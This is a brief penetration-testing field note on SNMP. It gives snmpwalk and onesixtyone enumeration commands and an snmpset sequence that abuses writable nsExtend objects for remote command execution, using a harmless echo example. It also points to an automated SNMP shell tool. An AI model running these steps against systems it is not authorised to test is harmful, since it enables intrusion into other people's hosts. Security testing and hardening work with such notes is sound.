RTFM_ security field notes

SNMP

Walk SNMP information and abuse writable nsExtend objects for command execution.

Prerequisites: To run the following commands, installing the snmp-mibs-downloader package is recommended:

apt install -y snmp-mibs-downloader

List information about a machine

onesixtyone $VICTIM_RANGE public
snmpwalk -c public -v1 -t 10 $VICTIM_IP

SNMP RCE

The nsExtendObjects table allows custom scripts to be created and read over SNMP. Scripts can be listed with the following command:

snmpwalk -v2c -c public $VICTIM_IP NET-SNMP-EXTEND-MIB::nsExtendObjects

On a Net-SNMP agent that supports writable extend entries, suitable write permissions can allow command configuration. A read-only community or support for SNMP alone is not enough:

snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c $COMUNITY $VICTIM_IP \
'nsExtendStatus."evilcommand"' = createAndGo \
'nsExtendCommand."evilcommand"' = /bin/echo \
'nsExtendArgs."evilcommand"' = 'hello world'

Tip: Exploitation of this attack can be automated with the SNMP Shell tool.

python shell.py $VICTIM_IP -c $COMUNITY

Resources:

Provenance and confidence
Version
2
Sources reviewed
2026-11-23
Confidence
medium — Legacy RTFM; v2 editorial review on 2026-11-23 qualifies writable Net-SNMP extend support. Legacy tool syntax and outcomes remain untested.

Also searched as: snmp, onesixtyone, snmpwalk, nsextendobjects, 161/udp